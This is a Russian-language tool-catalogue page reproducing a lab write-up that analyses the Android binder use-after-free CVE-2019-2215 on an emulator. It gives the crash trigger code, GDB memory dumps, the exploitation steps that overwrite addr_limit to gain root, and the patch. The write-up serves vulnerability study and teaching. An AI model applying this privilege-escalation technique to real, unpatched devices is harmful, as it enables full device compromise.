Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
AndroidKernelVulnerability — Запуск и анализ уязвимости ядра Android CVE-2019-2215 | Kitploit
Инструменты/GitHubGitHub/sharif-dev/androidkernelvulnerability
Безопасность AndroidПовышение привилегийСтатический анализДинамический анализ (песочница)ЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
sharif-dev/androidkernelvulnerability

AndroidKernelVulnerability

Запуск и анализ уязвимости ядра Android CVE-2019-2215

Репозиторий
721964 лет назадПроверено Kitploit

Android Kernel Vulnerability

Обзор

В ноябре 2017 года системой syzkaller была обнаружена use-after-free ошибка в ядре linux. В феврале 2018 года она была исправлена в некоторых ядрах linux и версиях Android.

Это исправление никогда не включалось в ежемесячные бюллетени безопасности Android, поэтому оно не было исправлено на многих новых устройствах, таких как Pixel и Pixel2.

В сентябре 2019 года компания Project Zero уведомила Android о последствиях этой ошибки для безопасности. Затем Android присвоил этой уязвимости идентификатор CVE-2019-2215, чтобы сделать её более формальной и известной.

CVE-2019-2215 — это use-after-free в файле binder.c, который позволяет повышение привилегий (получение root-доступа) из приложения Android. Для эксплуатации этой уязвимости не требуется взаимодействия с пользователем. Требуется лишь установка вредоносного локального приложения.

Здесь мы более подробно рассмотрим эту уязвимость ядра Android и используем её для получения root-доступа (повышения привилегий) ко всему устройству Android.

Мы будем использовать это Proof of Concept (PoC):

https://github.com/cloudfuzz/android-kernel-exploitation

Запуск уязвимости

Сначала мы покажем, как запустить эту уязвимость на эмуляторе Android и вызвать крах ядра. Затем, чтобы увидеть, насколько это может быть опасно, мы продолжим использовать PoC для получения root-доступа на эмулированном устройстве Android. После этого мы проанализируем код ядра, чтобы понять причину (статический и динамический анализ).

После анализа мы увидим, как мы получили root-доступ. В конце мы рассмотрим, как эта уязвимость смягчается с помощью патчей.

Чтобы вызвать крах ядра путём запуска этой уязвимости, выполните следующие шаги:

  1. Прежде всего, вам потребуется ОС linux с установленными 'gdb' и 'python'.
  2. Клонируйте репозиторий PoC. (https://github.com/cloudfuzz/android-kernel-exploitation)
  3. Установите эмулятор Android и Android NDK (установив Android Studio).
  4. Клонируйте исходный код ядра Android. (Будет использоваться ветка 'q-goldfish-android-goldfish-4.14-dev')
  5. Это ядро уже пропатчено, мы изменим его, чтобы заново внести уязвимость в этот код ядра.
  6. Теперь мы должны собрать ядро из исходного кода. Мы собираем ядро с KASan.
  7. Мы загружаем собранное ядро и запускаем наш эмулятор с ним.
  8. Затем, используя 'trigger.cpp' из репозитория PoC, мы вызываем крах (с помощью команды 'adb').
  9. Мы будем использовать 'root-me.py' из PoC и команду 'gdb', чтобы получить root-доступ на эмулированном устройстве.

Посмотрите следующее видео:

[video]

Статический анализ

В этом (и следующем) разделе мы собираемся понять, почему происходит крах, используя статический и динамический анализ.

Здесь мы проанализируем код ядра (статический анализ), чтобы понять проблему. В crash_report.txt есть отчёт от KASan, который говорит, что это ошибка use-after-free. Это означает, что объект был выделен в куче (и у нас есть ссылка на него), затем мы освободили объект из кучи, и после этого ошибочно обратились к нему по ссылке. В этом отчёте напечатан стек вызовов для этих трёх этапов.

Если вы помните из предыдущего, мы использовали 'trigger.cpp' из PoC.

Вот основной код trigger.cpp:``` int main() { //1 int fd, epfd; //2 struct epoll_event event = {.events = EPOLLIN}; //3 fd = open("/dev/binder", O_RDONLY); //4 epfd = epoll_create(1000); //5 epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); //6 ioctl(fd, BINDER_THREAD_EXIT, NULL); }

root@kitploit:~
Давайте посмотрим, что делает `trigger.cpp`.

В Android (как и в других Unix-подобных операционных системах) существуют процессы. Каждая запущенная программа создаёт один (или более) процесс, и эти процессы управляются ОС. ОС может переключаться между ними (многозадачность) или завершать процесс и т.д. По соображениям безопасности процессы по умолчанию изолированы друг от друга.

В некоторых случаях одному процессу может потребоваться обменяться данными с другим процессом. Это называется межпроцессным взаимодействием (IPC). В Linux существует несколько способов взаимодействия процессов. Android представил собственный механизм IPC, называемый **'Binder'**. Binder — это драйвер ядра, обеспечивающий межпроцессное взаимодействие.

В Android IPC может осуществляться прямым вызовом некоторых методов ядра (большинство из них находится в drivers/binder.c) или с помощью высокоуровневых реализаций (например, на Java).

![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/binder.jpg)

Для использования **binder** необходимо открыть модуль ядра binder. Это делается в строке 3 файла trigger.cpp. После этого у нас есть указатель на файловый дескриптор. С помощью этого fd можно идентифицировать инициатора и получателя IPC.

Все взаимодействия с драйвером осуществляются через небольшой набор команд **'ioctl'** (BINDER_THREAD_EXIT, BINDER_WRITE_READ, ...).

Подробнее о binder: [ссылка1](https://www.nds.ruhr-uni-bochum.de/media/attachments/files/2012/03/binder.pdf), [ссылка2](http://rts.lab.asu.edu/web_438/project_final/CSE_598_Android_Architecture_Binder.pdf)

В Linux существует понятие **'event polling'**. API **'epoll'** используется, когда необходимо отслеживать несколько файловых дескрипторов (файловые дескрипторы — это то, что мы получаем при открытии драйвера или работе с вводом/выводом и т.д.).

**epoll** — это структура ядра, имеющая два важных поля:

*   interest list = список файловых дескрипторов, которые мы хотим отслеживать.
*   ready list = список файловых дескрипторов, готовых к вводу/выводу.

Чтобы использовать event polling, мы сначала создаём epoll (строка 4), затем добавляем или удаляем (EPOLL_CTL_ADD) событие (&event), связанное с файловым дескриптором (**fd**), в наш созданный epoll (**epfd**) с помощью вызова метода ядра **epoll_ctl**.

=> `epoll_event event` — это событие, которое срабатывает, когда связанный файл (fd) становится доступен для операции чтения.

Теперь мы понимаем, что делает **trigger.cpp** (нет необходимости углубляться!). Он открывает модуль **binder**, создаёт **epoll** для прослушивания, когда binder будет готов. Затем, в строке 6, мы выходим из binder, который запустили в строке 3.


#### Выделение:

При вызове open() фактически вызывается **open_binder()** (реализация open() в binder.c). В open_binder() создаётся новая структура **'binder_proc'** и:

   ` fd->pricate_data = binder_proc`

При вызове **epoll_create()** создаётся новая структура epoll и добавляется в очередь.

![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/event_poll.jpg)

При вызове **epoll_ctrl(epdf, ADD, fd, event)** создаётся новый **ep_item**, который связывается с **fd** (прослушиваемым файловым дескриптором), и вставляется в **красное чёрное дерево** event_poll (структура данных в ep для хранения ep_items). Также вызывается **ep_item_poll()**, который обрабатывает привязку функции обратного вызова к ep_item.

Создаётся новая структура **binder_thread** (**здесь происходит выделение памяти**), которая связывается с **binder_proc** (созданным выше). Затем создаётся структура **epoll_entry**, содержащая два списка: **epoll_entry->wait** и **epoll_entry->whead**. Оба списка содержат указатель на **binder_thread**, созданный ранее.

Затем **epoll_entry** связывается с ep_item (**ep_item->pwqlist** — это список, содержащий данный epoll_entry).

![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/even_poll.jpg)


#### Освобождение:

При вызове **ioctl(fd, ...)** доступ к **binder_proc** осуществляется через fd->private_data, после чего структура **binder_thread** **освобождается** из памяти.


#### Использование:

Когда наш текущий процесс завершается, вызывается **epoll_ctl(epfd, DEL, fd, event)**.

Он вызывает **ep_remove(event_poll, ep_item)**. Этот метод получает **epoll_entry** из **ep_item->pwqlist**, затем получает список ожидания **ep_item (ep_tem->wait)**, который является связным списком, и пытается удалить один из его элементов.

Для этого используется следующий код (используется псевдокод):```
entry = wait->entry;
entry.next.prev = entry.prev;
entry.prev.next = entry.next;

Здесь wait->entry — это указатель на binder_thread, который был удалён из памяти! Таким образом, это use-after-free и вызывает баг!!

  • Выше мы использовали код, похожий на реальный код ядра, в некоторых деталях он может отличаться. (в некоторых случаях вместо binder_thread->wait используется binder_thread)

Сводка:

Мы создали event_poll, содержащий red_black_tree, каждый узел которого — это ep_item, имеющий поле, представляющее собой список epoll_entry. Каждый epoll_entry содержит два указателя на структуру binder_thread (wait, whead).

Вызвав ioctl(), мы освободили binder_thread из памяти. Затем при выходе эта структура была доступна через указатель, который всё ещё существовал!

Динамический анализ

Динамический анализ — это тестирование и оценка программы путём выполнения данных в реальном времени; для поиска ошибок в программе во время её работы.

Шаги:

  1. Сборка ядра Android без KASan

    Мы собираем его без KASAN, чтобы отслеживать операции записи и удаления из списка (unlink) и видеть, что на самом деле происходит после операции unlink.

  2. Загрузка эмулятора с только что собранным ядром

  3. Запуск эмулятора

  4. Использование GDB для подключения к экземпляру QEMU

  5. Сборка триггера уязвимости и отправка его на виртуальное устройство

  6. Установка точек останова в GDB

    Загрузка пользовательского скрипта на Python (dynamic-analysis.py в репозитории): Для трассировки вызовов функций и дампа структуры binder_thread до и после её освобождения. Также дамп той же структуры binder_thread до и после операции unlink.

    В этом файле мы сначала удаляем все точки останова, а затем устанавливаем 2 точки останова (BP); Первый символ — “binder_free_thread” (будет трассировать функцию binder_free_thread) перед освобождением binder_thread, будет вызвана функция stop; таким образом, параметры и символ будут показаны с помощью (gb.write(....) ), а затем будет вызван метод обратного вызова (мы установили его как set_dump_binder_thread); В этой функции binder_thread_address будет установлен в нашей глобальной переменной, а gdb.execute отправляет любой вывод, сгенерированный командой, на стандартный вывод GDB.

    Второй символ — “remove_wait_queue” (будет трассировать функцию remove_wait_queue). Параметры, которые мы хотим наблюдать: "wq_head", "wq_entry", и для выхода будет установлена точка останова wait.c:52. Их функция обратного вызова — dump_binder_thread. Эти точки останова покажут, что происходит до и после операции unlink.

Результат:

  • Первая часть результата:
root@kitploit:~
binder_free_thread(thread=0xffff88800c18f200)(enter)
0xffff88800c18f200:	0xffff88806793c000	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88805c05cae0
0xffff88800c18f2b0:	0xffff88805c05cae0	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

в нашем python-коде были следующие строки:``` gdb.write ( "{function}({param})(enter)\n".format( function=self.function_name, param=params ) )

root@kitploit:~
и это функция binder_free_thread, поэтому параметром для этой функции является указатель на binder_thread:```
static void binder_free_thread(struct binder_thread *thread)
{
        [...]
        kfree(thread);
}

в результате у нас было(binder_free_thread(thread=0xffff88800c18f200)(enter)).

последующие строки показывают результат выполнения , с помощью приведенной ниже команды мы получаем смещение binder_thread.wait:``` p offsetof(struct binder_thread, wait)

root@kitploit:~
результат — 0xa0, и если мы укажем wait.head вместо wait в команде , результат будет 0xa8, и он содержит `0xffff88805c05cae0````
0xffff88805c05cae0 is pointer to eppoll_entry->wait.entry which is of type struct list_head
  • вторая часть результата
root@kitploit:~
remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter)
0xffff88800c18f200:	0xffff88800c18f600	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88805c05cae0
0xffff88800c18f2b0:	0xffff88805c05cae0	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

В remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter) , wq_head — это адрес binder_thread.wait, а wq_entry — это данные wait.head. После этого произойдет операция отвязки (unlink).

  • Третья часть результата:
root@kitploit:~
Breakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
remove_wait_queue_wait.c:52(exit)
0xffff88800c18f200:	0xffff88800c18f600	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88800c18f2a8
0xffff88800c18f2b0:	0xffff88800c18f2a8	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

Выделенная часть связана с этим. Результат после операции отвязки, и мы видим, что для отвязки записывается адрес (0xffff88800c18f2a0 + 0x8) в next и previous. Это означает:

(указатель на binder_thread->wait.head) = binder_thread->wait.head.next = binder_thread->wait.head.prev

Эксплуатация уязвимости

В этой части мы покажем, как можно использовать эту ошибку для получения root-доступа.

Помните, выше у нас была структура binder_thread, она была освобождена и использована снова с помощью указателя. Вот код структуры binder_thread:``` struct binder_thread { struct binder_proc proc; struct rb_node rb_node; struct list_head waiting_thread_node; int pid; int looper; / only modified by this thread*/ bool looper_need_return; /* can be written by other thread*/ struct binder_transaction *transaction_stack; struct list_head todo; bool process_todo; struct binder_error return_error; struct binder_error reply_error; wait_queue_head_t wait; struct binder_stats stats; atomic_t tmp_ref; bool is_dead; struct task_struct *task; };

root@kitploit:~
Одним из полей является указатель **task_struct**, у этой структуры есть поле **addr_limit**.

Когда мы хотим обратиться к адресу в процессе, проверяется, находится ли адрес в **пользовательском пространстве**; если он находится в **пространстве ядра**, такой доступ должен быть заблокирован. Эта проверка выполняется путём сравнения нашего адреса с **addr_limit**: если наш адрес меньше **addr_limit**, доступ разрешён.

**addr_limit** фактически разделяет пользовательское пространство и пространство ядра, поэтому, изменив это поле в **task_struct**, мы получаем полный доступ к пространству ядра и можем делать всё, что угодно!

Для эксплуатации у нас есть два шага:

1. Нахождение адреса task_struct в пространстве ядра
2. Изменение addr_limit в task_struct

#### Нахождение адреса task_struct

В ядре мы можем выполнять векторизованный ввод-вывод, то есть записывать или читать более одного фрагмента данных в/из файлового дескриптора (файл, сокет и т.д.).

Векторизованный ввод-вывод выполняется с помощью методов **writev**, **readv**, **recvmsg** и структуры **iovec**.```
struct iovec 
{ 
     void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */ \
     __kernel_size_t iov_len; /* Must be size_t (1003.1g) */ \
};

Используя векторизованный ввод-вывод, мы выполняем операции ввода-вывода с массивом буферов (iovec). Каждый iovec содержит указатель на буфер (iov_base) и размер буфера (iov_len).

Vectored I/O

Например, если мы хотим записать массив буферов в файл (fd), мы вызываем

writev(fd, iovecStack, count)

Этот метод (как и readv и recvmsg) сначала копирует массив iovec (iovecStack) в пространство ядра, затем читает из этих буферов и записывает в fd.

  • первая часть (копирование массива iovec в пространство ядра) аналогична во всех трёх методах.

Мы можем записывать и читать буферы с помощью pipe. pipe — это структура, предоставляющая два файловых дескриптора: один для чтения, другой для записи. Pipe имеет длину в байтах; когда один процесс записывает в pipe больше, чем его длина, pipe блокирует этот процесс и ждёт, пока другой процесс прочитает из этого pipe (используя дескриптор чтения этого pipe).

pipe в linux

Ядро пытается выделить память (для структуры) в соответствии с её размером. Например, когда мы освободили структуру binder_thread из памяти (см. статический анализ), и после этого если у нас есть структура размером, близким к binder_thread, есть высокая вероятность, что она будет выделена на том же месте, где находился освобождённый binder_thread.

Сначала мы создаём iovecStack (массив структур iovec) размером, близким к структуре binder_thread.

Затем мы освобождаем binder_thread из памяти (см. часть 'free' статического анализа).

Затем мы вызываем writev() для этого iovecStack. Первая часть этого метода копирует iovecStack в пространство ядра.

Вероятнее всего, наш iovecStack будет выделен на том же месте, что и освобождённый binder_thread.

Если в iovecStack достаточно элементов iovec, память в расположении binder_thread выглядит так:

alt_text

Вы видите, что iovecStack[10].iov_base, iovecStack[10].iov_len и iovecStack[11].iov_base будут находиться на том же месте, что и поля wait.lock, wait.head.next и wait.head.prev структуры binder_thread.

В части 'use' статического анализа мы увидели, что сбой произошёл из-за обращения к части wait структуры binder_thread во время процесса unlinking (удаление элемента из связанного списка).

Во время процесса unlinking wait.head отвязывается, и его поля next и prev будут указывать на поле wait структуры binder_thread (unlinking).

alt_text

До того как наступит вторая часть writev (запись из iovecs в файл), если мы запустим процесс unlink, iovecStack[10].iov_len и iovecStack[11].iov_base будут перезаписаны адресом ядра. Затем, при выполнении оставшейся части writev, когда он попытается обработать iovecStack[11], он читает из iovecStack[11].iov_base (=адресу wait в binder_thread) данные длины iovecStack[11].iov_len.

Если iovecStack[11].iov_len достаточно, мы читаем от поля wait до поля task_struct структуры binder_thread, тем самым получая указатель на task_struct.

  • во время части free в статическом анализе не вся структура binder_thread освобождалась, и некоторые части, например task_struct, оставались (мы не упоминали этого для простоты).

Итак, чтобы получить указатель на task_struct, мы делаем следующее:

  1. создаём pipe и стек iovecs
  2. создаём binder_thread и event_poll и связываем их (как делали для статического анализа)
  3. порождаем дочерний процесс (теперь у нас есть родительский и дочерний процессы)
  4. в родительском процессе вызываем writev; он импортирует iovecStack в пространство ядра (перед продолжением блокируем writev, например, записав мусорные данные в pipe)
  5. в дочернем процессе выполняем unlink, затем читаем мусорные данные, чтобы уведомить родительский процесс.
  6. в родительском процессе продолжаем выполнение writev() и читаем из iovecs в пространстве ядра, записывая в файл.
  7. Теперь файл содержит чтение от wait и ниже, из структуры binder_thread в пространстве ядра (task_struct находится на расстоянии 0xe8 байт после поля wait).

смотрите exploit.cpp в репозитории.

Изменение addr_limit в task_struct

Теперь у нас есть адрес task_struct в пространстве ядра (task_ptr).

Здесь мы используем socket_pair вместо pipe. И мы используем recvmsg() для чтения из сокета и записи в iovecs.

Шаги:

  1. сначала выполняем инициализацию, как указано выше
  2. порождаем дочерний процесс
  3. записываем несколько мусорных данных в socket_pair
  4. в родительском процессе вызываем recvmsg():
    1. он импортирует iovecs в пространство ядра
    2. затем он читает мусорные данные и ожидает (блокируется) получения других данных из сокета.
  5. в дочернем процессе выполняем операцию unlink
  6. в дочернем процессе записываем эти данные в сокет:``` static uint64_t finalSocketData[] = { 0x1, // iovecStack[10].iov_len 0x41414141, // iovecStack[11].iov_base 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[11].iov_len (uint64_t) ((uint8_t *) task_ptr + OFFSET_OF_ADDR_LIMIT_IN_TASK_STRUCT), // iovecStack[12].iov_base 0xFFFFFFFFFFFFFFFE // addr_limit value };
root@kitploit:~
После записи **recvmsg**() начинает чтение из сокета и запись в **iovecStack**. Из-за мусора он записал данные вплоть до **iovecStack**[10].

Таким образом, он начинает записывать **finalSocketData** в **iovecStack**[12], получает адрес из **iovecStack[12].iov_base**, который является адресом **wait в binder_thread** из-за операции удаления связи (unlink), **iovecStack[12].iov_len** установлен в 4 байта, поэтому записывается:

*   0x1 в iovecStack[10].iov_len
*   0x41414141 в iovecStack[11].iov_base
*   0x8 + 0x8 + 0x8 + 0x8 в iovecStack[11].iov_len
*   **pointer_to_addr_limit** в iovecStack[12].iov_base

Теперь 4 байта были записаны в **iovecStack[11]**, поэтому **recvmsg**() переходит к **iovecStack[12]** для записи остатка **finalSocketData**:

записывает **0xFFFFFFFFFFFFFFFE** по адресу, находящемуся в **iovecStack[12].iov_base**, который установлен в **pointer_to_addr_limit**, это означает, что recvmsg() изменяет addr_limit на 0xFFFFFFFFFFFFFFFE (не 0xFFFFFFFFFFFFFFFF из-за некоторых проблем с arm64).

Теперь пользовательское пространство расширяется примерно на всё пространство ядра! (и может делать всё!!)

# Патч

binder_poll() передаёт waitqueue thread->wait, на котором можно заснуть для ожидания работы. Когда поток, использующий epoll, явно завершается через BINDER_THREAD_EXIT, waitqueue освобождается, но она <span style="text-decoration:underline;">никогда не удаляется из соответствующей структуры данных epoll</span>. Когда затем завершается процесс, код очистки epoll пытается получить доступ к waitlist, что приводит к use-after-free.

Чтобы предотвратить это, при завершении потока используется POLLFREE.

У нас был этот код:```
static int binder_thread_release(struct binder_proc *proc, struct binder_thread *thread)
{
        .
        .
        .
        int active_transactions = 0;
        .
        .
        .
        binder_thread_dec_tmpref(thread);
        return active_transactions;
}

Эти строки были добавлены в исходный код:

root@kitploit:~
static int binder_thread_release(struct binder_proc *proc,
binder_thread *thread)
{
	.
	.
	.
	/*
	 * If this thread used poll, make sure we remove the waitqueue
	 * from any epoll data structures holding it with POLLFREE.
	 * waitqueue_active() is safe to use here because we're holding
	 * the inner lock.
	*/
	  if ((thread->looper & BINDER_LOOPER_STATE_POLL) && waitqueue_active(&thread->wait)) {
		wake_up_poll(&thread->wait, EPOLLHUP | POLLFREE);
	  }
	  binder_inner_proc_unlock(thread->proc);
	  /*
	   * This is needed to avoid races between wake_up_poll() above and
	   * and ep_remove_waitqueue() called for other reasons (eg the epoll file
	   * descriptor being closed); ep_remove_waitqueue() holds an RCU read
	   * lock, so we can be sure it's done after calling synchronize_rcu().
	  */
	  if (thread->looper & BINDER_LOOPER_STATE_POLL)
		synchronize_rcu();
	  .
	  .
	  .
}

полный код смотри здесь

Определения

Ядро

Операционная система — это слой программного обеспечения, отвечающий за эффективную работу всего оборудования и создание инфраструктуры, на основе которой работают приложения. Её ядро — это ядро (kernel).

Эксплуатация

Идея эксплуатации проста: программное обеспечение содержит ошибки, которые приводят к неправильному поведению или некорректному выполнению задачи; эксплуатация ошибки — это превращение этого неправильного поведения в преимущество для атакующего.

Ошибки, которые можно эксплуатировать, называются уязвимостями.

Привилегированный и непривилегированный

Привилегированный пользователь или процесс — это тот, кто имеет полный доступ к устройству.

Большинство архитектур набора команд поддерживают как минимум два режима выполнения:

привилегированный: доступны все инструкции машинного уровня.

непривилегированный: доступно только подмножество инструкций.

UAF-уязвимость

Уязвимости типа Use-After-Free — это тип ошибки повреждения памяти, который может быть использован хакерами для выполнения произвольного кода.

Use-After-Free конкретно относится к попытке обращения к памяти после её освобождения, что может привести к краху программы или, в случае уязвимости Use-After-Free, потенциально к выполнению произвольного кода или даже к возможности полного удаленного выполнения кода.

CVE-2019-2215

Это use-after-free в Binder в ядре Android. Ошибка представляет собой локальную уязвимость повышения привилегий, позволяющую полностью скомпрометировать уязвимое устройство. В сочетании с эксплойтом для рендеринга браузера эта ошибка может полностью скомпрометировать устройство через вредоносный веб-сайт. Она достижима изнутри песочницы Chrome.

Примечание: работает на Pixel 1 и 2, но не на Pixel 3 и 3a. Смотрите эту атаку.

Бюллетени безопасности Android

Бюллетени безопасности Android — это список, публикуемый Google (ежемесячно). Этот список содержит исправленные уязвимости безопасности, затрагивающие фреймворк Android, ядро Linux и т.д.

Syzkaller

Syzkaller — это фаззер ядра. Фаззинг — это метод тестирования, при котором автоматизированная программа генерирует полу-случайные входные данные для целевой программы, чтобы проверить, не вызывается ли ошибка. Фаззинг особенно полезен для поиска ошибок повреждения памяти в программах на C или C++.

Project Zero

Project Zero — это команда аналитиков безопасности, нанятая Google для поиска уязвимостей нулевого дня. Уязвимость нулевого дня — это уязвимость, неизвестная тем, кто должен её исправить.

GDB

GDB расшифровывается как GNU Project Debugger — самый популярный отладчик для систем UNIX для отладки программ на C и C++. GDB позволяет запустить программу до определенной точки, затем остановиться и вывести значения определенных переменных в этой точке, или выполнять программу построчно и выводить значения каждой переменной после выполнения каждой строки.

Вы можете подключить эмулятор Android с помощью gdbserver для отладки.

Средство очистки адресов ядра

Kernel Address SANitizer (KASAN) — это динамический детектор ошибок памяти, предназначенный для поиска ошибок выхода за границы и use-after-free. KASAN использует инструментирование во время компиляции для вставки проверок валидности перед каждым доступом к памяти, поэтому требуется версия компилятора, поддерживающая это. Доступ к памяти ядра может быть проверен по теневой карте на предмет валидности.

QEMU

QEMU (Quick Emulator) — это свободный эмулятор с открытым исходным кодом, выполняющий аппаратную виртуализацию. Эмулятор Android основан на эмуляторе QEMU; он добавляет поддержку загрузки устройств Android, эмулирует типичное оборудование Android (OpenGL, GPS, GSM, датчики) и графический интерфейс. Эмулятор Android расширяет QEMU различными способами.

Статический анализ

При статическом анализе мы используем исходный код программы для поиска ошибки или любой проблемы. Мы не запускаем программу.

Динамический анализ

При динамическом анализе мы анализируем поведение программы во время её выполнения. Например, путём подачи специальных входных данных.

Android NDK

Android NDK — это набор инструментов, позволяющий запускать нативный код, такой как C и C++, на устройстве Android.

Android Goldfish

Ядро Android goldfish используется для запуска кода ядра в эмуляторе Android. Его можно клонировать, изменять, а затем собирать для использования в эмуляторе.

Android Debug Bridge

ADB — это инструмент командной строки. Он помогает взаимодействовать с работающим устройством Android и получать от него оболочку. Может использоваться для отладки.

Ссылки

https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html

https://nvd.nist.gov/vuln/detail/CVE-2019-2215

https://www.tutorialspoint.com/gnu_debugger

https://www.kernel.org/doc/html/latest/dev-tools/kasan.html

https://android.googlesource.com/kernel/goldfish/

https://man7.org/linux/man-pages/man7/epoll.7.html

https://www.scaler.com/topics/c/debugging-c-program/

...

Скачать инструмент
  • Запуск adb shell и выполнение PoC-триггера